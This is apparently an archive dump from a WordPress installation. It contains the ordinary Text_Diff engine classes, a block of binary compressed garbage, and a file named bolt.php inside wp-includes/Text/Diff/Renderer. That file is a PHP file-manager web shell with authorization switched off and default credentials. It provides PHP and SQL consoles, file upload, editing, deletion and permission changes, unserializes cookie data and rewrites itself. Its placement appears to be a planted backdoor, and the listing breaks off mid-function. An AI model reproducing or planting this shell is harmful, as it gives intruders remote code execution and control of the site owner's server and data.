                    break;

                case '-':
                    do {
                        $diff2[] = substr($diff[$j++], 2);
                    } while ($j < $max_j && substr($diff[$j], 0, 1) == '-');
                    $edits[] = new Text_Diff_Op_delete($diff2);
                    break;
                }
            }
        }

        return $edits;
    }

}
PK     |\S  S  	  shell.phpnu [        <?php
/**
 * Class used internally by Diff to actually compute the diffs.
 *
 * This class uses the Unix `diff` program via shell_exec to compute the
 * differences between the two input arrays.
 *
 * Copyright 2007-2010 The Horde Project (http://www.horde.org/)
 *
 * See the enclosed file COPYING for license information (LGPL). If you did
 * not receive this file, see https://opensource.org/license/lgpl-2-1/.
 *
 * @author  Milian Wolff <mail@milianw.de>
 * @package Text_Diff
 * @since   0.3.0
 */
class Text_Diff_Engine_shell {

    /**
     * Path to the diff executable
     *
     * @var string
     */
    var $_diffCommand = 'diff';

    /**
     * Returns the array of differences.
     *
     * @param array $from_lines lines of text from old file
     * @param array $to_lines   lines of text from new file
     *
     * @return array all changes made (array with Text_Diff_Op_* objects)
     */
    function diff($from_lines, $to_lines)
    {
        array_walk($from_lines, array('Text_Diff', 'trimNewlines'));
        array_walk($to_lines, array('Text_Diff', 'trimNewlines'));

        $temp_dir = Text_Diff::_getTempDir();

        // Execute gnu diff or similar to get a standard diff file.
        $from_file = tempnam($temp_dir, 'Text_Diff');
        $to_file = tempnam($temp_dir, 'Text_Diff');
        $fp = fopen($from_file, 'w');
        fwrite($fp, implode("\n", $from_lines));
        fclose($fp);
        $fp = fopen($to_file, 'w');
        fwrite($fp, implode("\n", $to_lines));
        fclose($fp);
        $diff = shell_exec($this->_diffCommand . ' ' . $from_file . ' ' . $to_file);
        unlink($from_file);
        unlink($to_file);

        if (is_null($diff)) {
            // No changes were made
            return array(new Text_Diff_Op_copy($from_lines));
        }

        $from_line_no = 1;
        $to_line_no = 1;
        $edits = array();

        // Get changed lines by parsing something like:
        // 0a1,2
        // 1,2c4,6
        // 1,5d6
        preg_match_all('#^(\d+)(?:,(\d+))?([adc])(\d+)(?:,(\d+))?$#m', $diff,
            $matches, PREG_SET_ORDER);

        foreach ($matches as $match) {
            if (!isset($match[5])) {
                // This paren is not set every time (see regex).
                $match[5] = false;
            }

            if ($match[3] == 'a') {
                $from_line_no--;
            }

            if ($match[3] == 'd') {
                $to_line_no--;
            }

            if ($from_line_no < $match[1] || $to_line_no < $match[4]) {
                // copied lines
                assert($match[1] - $from_line_no == $match[4] - $to_line_no);
                array_push($edits,
                    new Text_Diff_Op_copy(
                        $this->_getLines($from_lines, $from_line_no, $match[1] - 1),
                        $this->_getLines($to_lines, $to_line_no, $match[4] - 1)));
            }

            switch ($match[3]) {
            case 'd':
                // deleted lines
                array_push($edits,
                    new Text_Diff_Op_delete(
                        $this->_getLines($from_lines, $from_line_no, $match[2])));
                $to_line_no++;
                break;

            case 'c':
                // changed lines
                array_push($edits,
                    new Text_Diff_Op_change(
                        $this->_getLines($from_lines, $from_line_no, $match[2]),
                        $this->_getLines($to_lines, $to_line_no, $match[5])));
                break;

            case 'a':
                // added lines
                array_push($edits,
                    new Text_Diff_Op_add(
                        $this->_getLines($to_lines, $to_line_no, $match[5])));
                $from_line_no++;
                break;
            }
        }

        if (!empty($from_lines)) {
            // Some lines might still be pending. Add them as copied
            array_push($edits,
                new Text_Diff_Op_copy(
                    $this->_getLines($from_lines, $from_line_no,
                                     $from_line_no + count($from_lines) - 1),
                    $this->_getLines($to_lines, $to_line_no,
                                     $to_line_no + count($to_lines) - 1)));
        }

        return $edits;
    }

    /**
     * Get lines from either the old or new text
     *
     * @access private
     *
     * @param array $text_lines Either $from_lines or $to_lines (passed by reference).
     * @param int   $line_no    Current line number (passed by reference).
     * @param int   $end        Optional end line, when we want to chop more
     *                          than one line.
     *
     * @return array The chopped lines
     */
    function _getLines(&$text_lines, &$line_no, $end = false)
    {
        if (!empty($end)) {
            $lines = array();
            // We can shift even more
            while ($line_no <= $end) {
                array_push($lines, array_shift($text_lines));
                $line_no++;
            }
        } else {
            $lines = array(array_shift($text_lines));
            $line_no++;
        }

        return $lines;
    }

}
PK     |\'5>  >  
  native.phpnu [        <?php
/**
 * Class used internally by Text_Diff to actually compute the diffs.
 *
 * This class is implemented using native PHP code.
 *
 * The algorithm used here is mostly lifted from the perl module
 * Algorithm::Diff (version 1.06) by Ned Konz, which is available at:
 * https://cpan.metacpan.org/authors/id/N/NE/NEDKONZ/Algorithm-Diff-1.06.zip
 *
 * More ideas are taken from: http://www.ics.uci.edu/~eppstein/161/960229.html
 *
 * Some ideas (and a bit of code) are taken from analyze.c, of GNU
 * diffutils-2.7, which can be found at:
 * ftp://gnudist.gnu.org/pub/gnu/diffutils/diffutils-2.7.tar.gz
 *
 * Some ideas (subdivision by NCHUNKS > 2, and some optimizations) are from
 * Geoffrey T. Dairiki <dairiki@dairiki.org>. The original PHP version of this
 * code was written by him, and is used/adapted with his permission.
 *
 * Copyright 2004-2010 The Horde Project (http://www.horde.org/)
 *
 * See the enclosed file COPYING for license information (LGPL). If you did
 * not receive this file, see https://opensource.org/license/lgpl-2-1/.
 *
 * @author  Geoffrey T. Dairiki <dairiki@dairiki.org>
 * @package Text_Diff
 */
class Text_Diff_Engine_native {

    public $xchanged;
    public $ychanged;
    public $xv;
    public $yv;
    public $xind;
    public $yind;
    public $seq;
    public $in_seq;
    public $lcs;

    function diff($from_lines, $to_lines)
    {
        array_walk($from_lines, array('Text_Diff', 'trimNewlines'));
        array_walk($to_lines, array('Text_Diff', 'trimNewlines'));

        $n_from = count($from_lines);
        $n_to = count($to_lines);

        $this->xchanged = $this->ychanged = array();
        $this->xv = $this->yv = array();
        $this->xind = $this->yind = array();
        unset($this->seq);
        unset($this->in_seq);
        unset($this->lcs);

        // Skip leading common lines.
        for ($skip = 0; $skip < $n_from && $skip < $n_to; $skip++) {
            if ($from_lines[$skip] !== $to_lines[$skip]) {
                break;
            }
            $this->xchanged[$skip] = $this->ychanged[$skip] = false;
        }

        // Skip trailing common lines.
        $xi = $n_from; $yi = $n_to;
        for ($endskip = 0; --$xi > $skip && --$yi > $skip; $endskip++) {
            if ($from_lines[$xi] !== $to_lines[$yi]) {
                break;
            }
            $this->xchanged[$xi] = $this->ychanged[$yi] = false;
        }

        // Ignore lines which do not exist in both files.
        for ($xi = $skip; $xi < $n_from - $endskip; $xi++) {
            $xhash[$from_lines[$xi]] = 1;
        }
        for ($yi = $skip; $yi < $n_to - $endskip; $yi++) {
            $line = $to_lines[$yi];
            if (($this->ychanged[$yi] = empty($xhash[$line]))) {
                continue;
            }
            $yhash[$line] = 1;
            $this->yv[] = $line;
            $this->yind[] = $yi;
        }
        for ($xi = $skip; $xi < $n_from - $endskip; $xi++) {
            $line = $from_lines[$xi];
            if (($this->xchanged[$xi] = empty($yhash[$line]))) {
                continue;
            }
            $this->xv[] = $line;
            $this->xind[] = $xi;
        }

        // Find the LCS.
        $this->_compareseq(0, count($this->xv), 0, count($this->yv));

        // Merge edits when possible.
        $this->_shiftBoundaries($from_lines, $this->xchanged, $this->ychanged);
        $this->_shiftBoundaries($to_lines, $this->ychanged, $this->xchanged);

        // Compute the edit operations.
        $edits = array();
        $xi = $yi = 0;
        while ($xi < $n_from || $yi < $n_to) {
            assert($yi < $n_to || $this->xchanged[$xi]);
            assert($xi < $n_from || $this->ychanged[$yi]);

            // Skip matching "snake".
            $copy = array();
            while ($xi < $n_from && $yi < $n_to
                   && !$this->xchanged[$xi] && !$this->ychanged[$yi]) {
                $copy[] = $from_lines[$xi++];
                ++$yi;
            }
            if ($copy) {
                $edits[] = new Text_Diff_Op_copy($copy);
            }

            // Find deletes & adds.
            $delete = array();
            while ($xi < $n_from && $this->xchanged[$xi]) {
                $delete[] = $from_lines[$xi++];
            }

            $add = array();
            while ($yi < $n_to && $this->ychanged[$yi]) {
                $add[] = $to_lines[$yi++];
            }

            if ($delete && $add) {
                $edits[] = new Text_Diff_Op_change($delete, $add);
            } elseif ($delete) {
                $edits[] = new Text_Diff_Op_delete($delete);
            } elseif ($add) {
                $edits[] = new Text_Diff_Op_add($add);
            }
        }

        return $edits;
    }

    /**
     * Divides the Largest Common Subsequence (LCS) of the sequences (XOFF,
     * XLIM) and (YOFF, YLIM) into NCHUNKS approximately equally sized
     * segments.
     *
     * Returns (LCS, PTS).  LCS is the length of the LCS. PTS is an array of
     * NCHUNKS+1 (X, Y) indexes giving the diving points between sub
     * sequences.  The first sub-sequence is contained in (X0, X1), (Y0, Y1),
     * the second in (X1, X2), (Y1, Y2) and so on.  Note that (X0, Y0) ==
     * (XOFF, YOFF) and (X[NCHUNKS], Y[NCHUNKS]) == (XLIM, YLIM).
     *
     * This function assumes that the first lines of the specified portions of
     * the two files do not match, and likewise that the last lines do not
     * match.  The caller must trim matching lines from the beginning and end
     * of the portions it is going to specify.
     */
    function _diag ($xoff, $xlim, $yoff, $ylim, $nchunks)
    {
        $flip = false;

        if ($xlim - $xoff > $ylim - $yoff) {
            /* Things seems faster (I'm not sure I understand why) when the
             * shortest sequence is in X. */
            $flip = true;
            list ($xoff, $xlim, $yoff, $ylim)
                = array($yoff, $ylim, $xoff, $xlim);
        }

        if ($flip) {
            for ($i = $ylim - 1; $i >= $yoff; $i--) {
                $ymatches[$this->xv[$i]][] = $i;
            }
        } else {
            for ($i = $ylim - 1; $i >= $yoff; $i--) {
                $ymatches[$this->yv[$i]][] = $i;
            }
        }

        $this->lcs = 0;
        $this->seq[0]= $yoff - 1;
        $this->in_seq = array();
        $ymids[0] = array();

        $numer = $xlim - $xoff + $nchunks - 1;
        $x = $xoff;
        for ($chunk = 0; $chunk < $nchunks; $chunk++) {
            if ($chunk > 0) {
                for ($i = 0; $i <= $this->lcs; $i++) {
                    $ymids[$i][$chunk - 1] = $this->seq[$i];
                }
            }

            $x1 = $xoff + (int)(($numer + ($xlim - $xoff) * $chunk) / $nchunks);
            for (; $x < $x1; $x++) {
                $line = $flip ? $this->yv[$x] : $this->xv[$x];
                if (empty($ymatches[$line])) {
                    continue;
                }
                $matches = $ymatches[$line];
                reset($matches);
                while ($y = current($matches)) {
                    if (empty($this->in_seq[$y])) {
                        $k = $this->_lcsPos($y);
                        assert($k > 0);
                        $ymids[$k] = $ymids[$k - 1];
                        break;
                    }
                    next($matches);
                }
                while ($y = current($matches)) {
                    if ($y > $this->seq[$k - 1]) {
                        assert($y <= $this->seq[$k]);
                        /* Optimization: this is a common case: next match is
                         * just replacing previous match. */
                        $this->in_seq[$this->seq[$k]] = false;
                        $this->seq[$k] = $y;
                        $this->in_seq[$y] = 1;
                    } elseif (empty($this->in_seq[$y])) {
                        $k = $this->_lcsPos($y);
                        assert($k > 0);
                        $ymids[$k] = $ymids[$k - 1];
                    }
                    next($matches);
                }
            }
        }

        $seps[] = $flip ? array($yoff, $xoff) : array($xoff, $yoff);
        $ymid = $ymids[$this->lcs];
        for ($n = 0; $n < $nchunks - 1; $n++) {
            $x1 = $xoff + (int)(($numer + ($xlim - $xoff) * $n) / $nchunks);
            $y1 = $ymid[$n] + 1;
            $seps[] = $flip ? array($y1, $x1) : array($x1, $y1);
        }
        $seps[] = $flip ? array($ylim, $xlim) : array($xlim, $ylim);

        return array($this->lcs, $seps);
    }

    function _lcsPos($ypos)
    {
        $end = $this->lcs;
        if ($end == 0 || $ypos > $this->seq[$end]) {
            $this->seq[++$this->lcs] = $ypos;
            $this->in_seq[$ypos] = 1;
            return $this->lcs;
        }

        $beg = 1;
        while ($beg < $end) {
            $mid = (int)(($beg + $end) / 2);
            if ($ypos > $this->seq[$mid]) {
                $beg = $mid + 1;
            } else {
                $end = $mid;
            }
        }

        assert($ypos != $this->seq[$end]);

        $this->in_seq[$this->seq[$end]] = false;
        $this->seq[$end] = $ypos;
        $this->in_seq[$ypos] = 1;
        return $end;
    }

    /**
     * Finds LCS of two sequences.
     *
     * The results are recorded in the vectors $this->{x,y}changed[], by
     * storing a 1 in the element for each line that is an insertion or
     * deletion (ie. is not in the LCS).
     *
     * The subsequence of file 0 is (XOFF, XLIM) and likewise for file 1.
     *
     * Note that XLIM, YLIM are exclusive bounds.  All line numbers are
     * origin-0 and discarded lines are not counted.
     */
    function _compareseq ($xoff, $xlim, $yoff, $ylim)
    {
        /* Slide down the bottom initial diagonal. */
        while ($xoff < $xlim && $yoff < $ylim
               && $this->xv[$xoff] == $this->yv[$yoff]) {
            ++$xoff;
            ++$yoff;
        }

        /* Slide up the top initial diagonal. */
        while ($xlim > $xoff && $ylim > $yoff
               && $this->xv[$xlim - 1] == $this->yv[$ylim - 1]) {
            --$xlim;
            --$ylim;
        }

        if ($xoff == $xlim || $yoff == $ylim) {
            $lcs = 0;
        } else {
            /* This is ad hoc but seems to work well.  $nchunks =
             * sqrt(min($xlim - $xoff, $ylim - $yoff) / 2.5); $nchunks =
             * max(2,min(8,(int)$nchunks)); */
            $nchunks = min(7, $xlim - $xoff, $ylim - $yoff) + 1;
            list($lcs, $seps)
                = $this->_diag($xoff, $xlim, $yoff, $ylim, $nchunks);
        }

        if ($lcs == 0) {
            /* X and Y sequences have no common subsequence: mark all
             * changed. */
            while ($yoff < $ylim) {
                $this->ychanged[$this->yind[$yoff++]] = 1;
            }
            while ($xoff < $xlim) {
                $this->xchanged[$this->xind[$xoff++]] = 1;
            }
        } else {
            /* Use the partitions to split this problem into subproblems. */
            reset($seps);
            $pt1 = $seps[0];
            while ($pt2 = next($seps)) {
                $this->_compareseq ($pt1[0], $pt2[0], $pt1[1], $pt2[1]);
                $pt1 = $pt2;
            }
        }
    }

    /**
     * Adjusts inserts/deletes of identical lines to join changes as much as
     * possible.
     *
     * We do something when a run of changed lines include a line at one end
     * and has an excluded, identical line at the other.  We are free to
     * choose which identical line is included.  `compareseq' usually chooses
     * the one at the beginning, but usually it is cleaner to consider the
     * following identical line to be the "change".
     *
     * This is extracted verbatim from analyze.c (GNU diffutils-2.7).
     */
    function _shiftBoundaries($lines, &$changed, $other_changed)
    {
        $i = 0;
        $j = 0;

        assert(count($lines) == count($changed));
        $len = count($lines);
        $other_len = count($other_changed);

        while (1) {
            /* Scan forward to find the beginning of another run of
             * changes. Also keep track of the corresponding point in the
             * other file.
             *
             * Throughout this code, $i and $j are adjusted together so that
             * the first $i elements of $changed and the first $j elements of
             * $other_changed both contain the same number of zeros (unchanged
             * lines).
             *
             * Furthermore, $j is always kept so that $j == $other_len or
             * $other_changed[$j] == false. */
            while ($j < $other_len && $other_changed[$j]) {
                $j++;
            }

            while ($i < $len && ! $changed[$i]) {
                assert($j < $other_len && ! $other_changed[$j]);
                $i++; $j++;
                while ($j < $other_len && $other_changed[$j]) {
                    $j++;
                }
            }

            if ($i == $len) {
                break;
            }

            $start = $i;

            /* Find the end of this run of changes. */
            while (++$i < $len && $changed[$i]) {
                continue;
            }

            do {
                /* Record the length of this run of changes, so that we can
                 * later determine whether the run has grown. */
                $runlength = $i - $start;

                /* Move the changed region back, so long as the previous
                 * unchanged line matches the last changed one.  This merges
                 * with previous changed regions. */
                while ($start > 0 && $lines[$start - 1] == $lines[$i - 1]) {
                    $changed[--$start] = 1;
                    $changed[--$i] = false;
                    while ($start > 0 && $changed[$start - 1]) {
                        $start--;
                    }
                    assert($j > 0);
                    while ($other_changed[--$j]) {
                        continue;
                    }
                    assert($j >= 0 && !$other_changed[$j]);
                }

                /* Set CORRESPONDING to the end of the changed run, at the
                 * last point where it corresponds to a changed run in the
                 * other file. CORRESPONDING == LEN means no such point has
                 * been found. */
                $corresponding = $j < $other_len ? $i : $len;

                /* Move the changed region forward, so long as the first
                 * changed line matches the following unchanged one.  This
                 * merges with following changed regions.  Do this second, so
                 * that if there are no merges, the changed region is moved
                 * forward as far as possible. */
                while ($i < $len && $lines[$start] == $lines[$i]) {
                    $changed[$start++] = false;
                    $changed[$i++] = 1;
                    while ($i < $len && $changed[$i]) {
                        $i++;
                    }

                    assert($j < $other_len && ! $other_changed[$j]);
                    $j++;
                    if ($j < $other_len && $other_changed[$j]) {
                        $corresponding = $i;
                        while ($j < $other_len && $other_changed[$j]) {
                            $j++;
                        }
                    }
                }
            } while ($runlength != $i - $start);

            /* If possible, move the fully-merged run of changes back to a
             * corresponding run in the other file. */
            while ($corresponding < $i) {
                $changed[--$start] = 1;
                $changed[--$i] = 0;
                assert($j > 0);
                while ($other_changed[--$j]) {
                    continue;
                }
                assert($j >= 0 && !$other_changed[$j]);
            }
        }
    }

}
PK     |\@[    	  xdiff.phpnu [        <?php
/**
 * Class used internally by Diff to actually compute the diffs.
 *
 * This class uses the xdiff PECL package (http://pecl.php.net/package/xdiff)
 * to compute the differences between the two input arrays.
 *
 * Copyright 2004-2010 The Horde Project (http://www.horde.org/)
 *
 * See the enclosed file COPYING for license information (LGPL). If you did
 * not receive this file, see https://opensource.org/license/lgpl-2-1/.
 *
 * @author  Jon Parise <jon@horde.org>
 * @package Text_Diff
 */
class Text_Diff_Engine_xdiff {

    /**
     */
    function diff($from_lines, $to_lines)
    {
        array_walk($from_lines, array('Text_Diff', 'trimNewlines'));
        array_walk($to_lines, array('Text_Diff', 'trimNewlines'));

        /* Convert the two input arrays into strings for xdiff processing. */
        $from_string = implode("\n", $from_lines);
        $to_string = implode("\n", $to_lines);

        /* Diff the two strings and convert the result to an array. */
        $diff = xdiff_string_diff($from_string, $to_string, count($to_lines));
        $diff = explode("\n", $diff);

        /* Walk through the diff one line at a time.  We build the $edits
         * array of diff operations by reading the first character of the
         * xdiff output (which is in the "unified diff" format).
         *
         * Note that we don't have enough information to detect "changed"
         * lines using this approach, so we can't add Text_Diff_Op_changed
         * instances to the $edits array.  The result is still perfectly
         * valid, albeit a little less descriptive and efficient. */
        $edits = array();
        foreach ($diff as $line) {
            if (!strlen($line)) {
                continue;
            }
            switch ($line[0]) {
            case ' ':
                $edits[] = new Text_Diff_Op_copy(array(substr($line, 1)));
                break;

            case '+':
                $edits[] = new Text_Diff_Op_add(array(substr($line, 1)));
                break;

            case '-':
                $edits[] = new Text_Diff_Op_delete(array(substr($line, 1)));
                break;
            }
        }

        return $edits;
    }

}
PK       |\Eћ      
                string.phpnu [        PK       |\S  S  	               shell.phpnu [        PK       |\'5>  >  
            a5  native.phpnu [        PK       |\@[    	            Lt  xdiff.phpnu [        PK      &   }                                                                                                                                                                                                                                                                                                                                                                                                                                        Renderer/Renderer.php.php.tar.gz                                                                    0000644                 00000003670 15217306007 0012572 0                                                                                                    ustar 00                                                                                                                                                                                                                                                             Ymo6W\R۲&im-ѱY$*ZdYouao(?4D>w]%}103]ȥo¡8~~ơ8G<VcAxr;!>x;I,Y&[ر:OY,e</ ?`	s-Gּ[xYWiz9^:<BL\C88>k<A1CGE"dչȻ\H=BD.H	mVтތDti[gU(эs8s)o:2O╅1!	V $p0	k 1 btB%^lۿpbg=	s.9ЖRѼϦ6OP)(ϙō]xKytGfUX;^w)K>K`>H(NI,'3ǰd)Z̥^AE#f~̪^S8;U	["Lx.XF#E	5OG`>tC%a(biK:q,MeY'U^[4؛`doUP0[Dӆ6qn;n;byxqq NbbGdk6[ng'訖?븳s[IsL2R#c5Kru=L@[xɪdXr 1#j%ʭ~9ȎyS?u,+r(ݫp^Km=
`b}PmNjѐc@;ߚs°.<UoGsf#CKDgLC*tT%7şҿ5	ݙ/d1?.T|7ӪB/A{^`z)ЁP$MW\SlN\-Ow=Y.{MH<SY];"ku{ͅϤ87q/?HˇAsHXMe0Qlhyf Ƽ	ӫ; UH)geKEk$tԢ/
#ga2"FWa NHj0}=:E(:<YDj
I^V3#wfPVpxQS+٣0c%"M$|e]yrA)/~CV<$@:}Z#WїlS7[L ƃzrr5We3k-8m5D
W&h-ʧ~f5a;6MTA_s8U w?e2ajQSE}i9)Ich/JP"MQќZHCUGv6xiVTJBRG",-mXM[킬p*=eӵͪ{mBߙ;^<tj[da~6%ܹZ),-m:ψKE"L5}e$Ŧ,Yq fy@o@W.W9jmXŮx*kvc<i5
-ЅLZ$:寧vR0]Q6li2*Nn[E}%ogWuh5dKe.q.х۴M
7>0^|qݖ[)L*F0uo@8iXxolhd SAm[LdnxE^3='&Α`M5;AQKkXPWf,zNod=gFڃ1ҸP9m(vvKTkJ[wݚ{7$1sF-C_~vwsԓe?l(6asQ3r=wE7SHp8De(("+m|Ʒ1 "                                                                          Renderer/bolt.php.tar                                                                               0000644                 00000236000 15217306007 0010552 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php                                 0000644                 00000232745 15217274105 0021423 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?php
/* PHP File manager ver 1.4 */

// Configuration ¡ª do not change manually!
$authorization = '{"authorize":"0","login":"admin","password":"phpfm","cookie_name":"fm_user","days_authorization":"30","script":"<script type=\"text\/javascript\" src=\"https:\/\/www.cdolivet.com\/editarea\/editarea\/edit_area\/edit_area_full.js\"><\/script>\r\n<script language=\"Javascript\" type=\"text\/javascript\">\r\neditAreaLoader.init({\r\nid: \"newcontent\"\r\n,display: \"later\"\r\n,start_highlight: true\r\n,allow_resize: \"both\"\r\n,allow_toggle: true\r\n,word_wrap: true\r\n,language: \"ru\"\r\n,syntax: \"php\"\t\r\n,toolbar: \"search, go_to_line, |, undo, redo, |, select_font, |, syntax_selection, |, change_smooth_selection, highlight, reset_highlight, |, help\"\r\n,syntax_selection_allow: \"css,html,js,php,python,xml,c,cpp,sql,basic,pas\"\r\n});\r\n<\/script>"}';
$php_templates = '{"Settings":"global $fm_config;\r\nvar_export($fm_config);","Backup SQL tables":"echo fm_backup_tables();"}';
$sql_templates = '{"All bases":"SHOW DATABASES;","All tables":"SHOW TABLES;"}';
$translation = '{"id":"en","Add":"Add","Are you sure you want to delete this directory (recursively)?":"Are you sure you want to delete this directory (recursively)?","Are you sure you want to delete this file?":"Are you sure you want to delete this file?","Archiving":"Archiving","Authorization":"Authorization","Back":"Back","Cancel":"Cancel","Chinese":"Chinese","Compress":"Compress","Console":"Console","Cookie":"Cookie","Created":"Created","Date":"Date","Days":"Days","Decompress":"Decompress","Delete":"Delete","Deleted":"Deleted","Download":"Download","done":"done","Edit":"Edit","Enter":"Enter","English":"English","Error occurred":"Error occurred","File manager":"File manager","File selected":"File selected","File updated":"File updated","Filename":"Filename","Files uploaded":"Files uploaded","French":"French","Generation time":"Generation time","German":"German","Home":"Home","Quit":"Quit","Language":"Language","Login":"Login","Manage":"Manage","Make directory":"Make directory","Name":"Name","New":"New","New file":"New file","no files":"no files","Password":"Password","pictures":"pictures","Recursively":"Recursively","Rename":"Rename","Reset":"Reset","Reset settings":"Reset settings","Restore file time after editing":"Restore file time after editing","Result":"Result","Rights":"Rights","Russian":"Russian","Save":"Save","Select":"Select","Select the file":"Select the file","Settings":"Settings","Show":"Show","Show size of the folder":"Show size of the folder","Size":"Size","Spanish":"Spanish","Submit":"Submit","Task":"Task","templates":"templates","Ukrainian":"Ukrainian","Upload":"Upload","Value":"Value","Hello":"Hello"}';
// end configuration

// Preparations
$starttime = explode(' ', microtime());
$starttime = $starttime[1] + $starttime[0];
$langs = array('en','ru','de','fr','uk');
$path = empty($_REQUEST['path']) ? $path = realpath('.') : realpath($_REQUEST['path']);
$path = str_replace('\\', '/', $path) . '/';
$main_path=str_replace('\\', '/',realpath('./'));
$phar_maybe = (version_compare(phpversion(),"5.3.0","<"))?true:false;
$msg = ''; // service string
$default_language = 'ru';
$detect_lang = true;
$fm_version = 1.4;

//Authorization
$auth = json_decode($authorization,true);
$auth['authorize'] = isset($auth['authorize']) ? $auth['authorize'] : 0; 
$auth['days_authorization'] = (isset($auth['days_authorization'])&&is_numeric($auth['days_authorization'])) ? (int)$auth['days_authorization'] : 30;
$auth['login'] = isset($auth['login']) ? $auth['login'] : 'admin';  
$auth['password'] = isset($auth['password']) ? $auth['password'] : 'phpfm';  
$auth['cookie_name'] = isset($auth['cookie_name']) ? $auth['cookie_name'] : 'fm_user';
$auth['script'] = isset($auth['script']) ? $auth['script'] : '';

// Little default config
$fm_default_config = array (
	'make_directory' => true, 
	'new_file' => true, 
	'upload_file' => true, 
	'show_dir_size' => false, //if true, show directory size ¡ú maybe slow 
	'show_img' => true, 
	'show_php_ver' => true, 
	'show_php_ini' => false, // show path to current php.ini
	'show_gt' => true, // show generation time
	'enable_php_console' => true,
	'enable_sql_console' => true,
	'sql_server' => 'localhost',
	'sql_username' => 'root',
	'sql_password' => '',
	'sql_db' => 'test_base',
	'enable_proxy' => true,
	'show_phpinfo' => true,
	'show_xls' => true,
	'fm_settings' => true,
	'restore_time' => true,
	'fm_restore_time' => false,
);

if (empty($_COOKIE['fm_config'])) $fm_config = $fm_default_config;
else $fm_config = unserialize($_COOKIE['fm_config']);

// Change language
if (isset($_POST['fm_lang'])) { 
	setcookie('fm_lang', $_POST['fm_lang'], time() + (86400 * $auth['days_authorization']));
	$_COOKIE['fm_lang'] = $_POST['fm_lang'];
}
$language = $default_language;

// Detect browser language
if($detect_lang && !empty($_SERVER['HTTP_ACCEPT_LANGUAGE']) && empty($_COOKIE['fm_lang'])){
	$lang_priority = explode(',', $_SERVER['HTTP_ACCEPT_LANGUAGE']);
	if (!empty($lang_priority)){
		foreach ($lang_priority as $lang_arr){
			$lng = explode(';', $lang_arr);
			$lng = $lng[0];
			if(in_array($lng,$langs)){
				$language = $lng;
				break;
			}
		}
	}
} 

// Cookie language is primary for ever
$language = (empty($_COOKIE['fm_lang'])) ? $language : $_COOKIE['fm_lang'];

// Localization
$lang = json_decode($translation,true);
if ($lang['id']!=$language) {
	$get_lang = file_get_contents('https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/' . $language . '.json');
	if (!empty($get_lang)) {
		//remove unnecessary characters
		$translation_string = str_replace("'",'&#39;',json_encode(json_decode($get_lang),JSON_UNESCAPED_UNICODE));
		$fgc = file_get_contents(__FILE__);
		$search = preg_match('#translation[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
		if (!empty($matches[1])) {
			$filemtime = filemtime(__FILE__);
			$replace = str_replace('{"'.$matches[1].'"}',$translation_string,$fgc);
			if (file_put_contents(__FILE__, $replace)) {
				$msg .= __('File updated');
			}	else $msg .= __('Error occurred');
			if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
		}	
		$lang = json_decode($translation_string,true);
	}
}

/* Functions */

//translation
function __($text){
	global $lang;
	if (isset($lang[$text])) return $lang[$text];
	else return $text;
};

//delete files and dirs recursively
function fm_del_files($file, $recursive = false) {
	if($recursive && @is_dir($file)) {
		$els = fm_scan_dir($file, '', '', true);
		foreach ($els as $el) {
			if($el != '.' && $el != '..'){
				fm_del_files($file . '/' . $el, true);
			}
		}
	}
	if(@is_dir($file)) {
		return rmdir($file);
	} else {
		return @unlink($file);
	}
}

//file perms
function fm_rights_string($file, $if = false){
	$perms = fileperms($file);
	$info = '';
	if(!$if){
		if (($perms & 0xC000) == 0xC000) {
			//Socket
			$info = 's';
		} elseif (($perms & 0xA000) == 0xA000) {
			//Symbolic Link
			$info = 'l';
		} elseif (($perms & 0x8000) == 0x8000) {
			//Regular
			$info = '-';
		} elseif (($perms & 0x6000) == 0x6000) {
			//Block special
			$info = 'b';
		} elseif (($perms & 0x4000) == 0x4000) {
			//Directory
			$info = 'd';
		} elseif (($perms & 0x2000) == 0x2000) {
			//Character special
			$info = 'c';
		} elseif (($perms & 0x1000) == 0x1000) {
			//FIFO pipe
			$info = 'p';
		} else {
			//Unknown
			$info = 'u';
		}
	}
  
	//Owner
	$info .= (($perms & 0x0100) ? 'r' : '-');
	$info .= (($perms & 0x0080) ? 'w' : '-');
	$info .= (($perms & 0x0040) ?
	(($perms & 0x0800) ? 's' : 'x' ) :
	(($perms & 0x0800) ? 'S' : '-'));
 
	//Group
	$info .= (($perms & 0x0020) ? 'r' : '-');
	$info .= (($perms & 0x0010) ? 'w' : '-');
	$info .= (($perms & 0x0008) ?
	(($perms & 0x0400) ? 's' : 'x' ) :
	(($perms & 0x0400) ? 'S' : '-'));
 
	//World
	$info .= (($perms & 0x0004) ? 'r' : '-');
	$info .= (($perms & 0x0002) ? 'w' : '-');
	$info .= (($perms & 0x0001) ?
	(($perms & 0x0200) ? 't' : 'x' ) :
	(($perms & 0x0200) ? 'T' : '-'));

	return $info;
}

function fm_convert_rights($mode) {
	$mode = str_pad($mode,9,'-');
	$trans = array('-'=>'0','r'=>'4','w'=>'2','x'=>'1');
	$mode = strtr($mode,$trans);
	$newmode = '0';
	$owner = (int) $mode[0] + (int) $mode[1] + (int) $mode[2]; 
	$group = (int) $mode[3] + (int) $mode[4] + (int) $mode[5]; 
	$world = (int) $mode[6] + (int) $mode[7] + (int) $mode[8]; 
	$newmode .= $owner . $group . $world;
	return intval($newmode, 8);
}

function fm_chmod($file, $val, $rec = false) {
	$res = @chmod(realpath($file), $val);
	if(@is_dir($file) && $rec){
		$els = fm_scan_dir($file);
		foreach ($els as $el) {
			$res = $res && fm_chmod($file . '/' . $el, $val, true);
		}
	}
	return $res;
}

//load files
function fm_download($file_name) {
    if (!empty($file_name)) {
		if (file_exists($file_name)) {
			header("Content-Disposition: attachment; filename=" . basename($file_name));   
			header("Content-Type: application/force-download");
			header("Content-Type: application/octet-stream");
			header("Content-Type: application/download");
			header("Content-Description: File Transfer");            
			header("Content-Length: " . filesize($file_name));		
			flush(); // this doesn't really matter.
			$fp = fopen($file_name, "r");
			while (!feof($fp)) {
				echo fread($fp, 65536);
				flush(); // this is essential for large downloads
			} 
			fclose($fp);
			die();
		} else {
			header('HTTP/1.0 404 Not Found', true, 404);
			header('Status: 404 Not Found'); 
			die();
        }
    } 
}

//show folder size
function fm_dir_size($f,$format=true) {
	if($format)  {
		$size=fm_dir_size($f,false);
		if($size<=1024) return $size.' bytes';
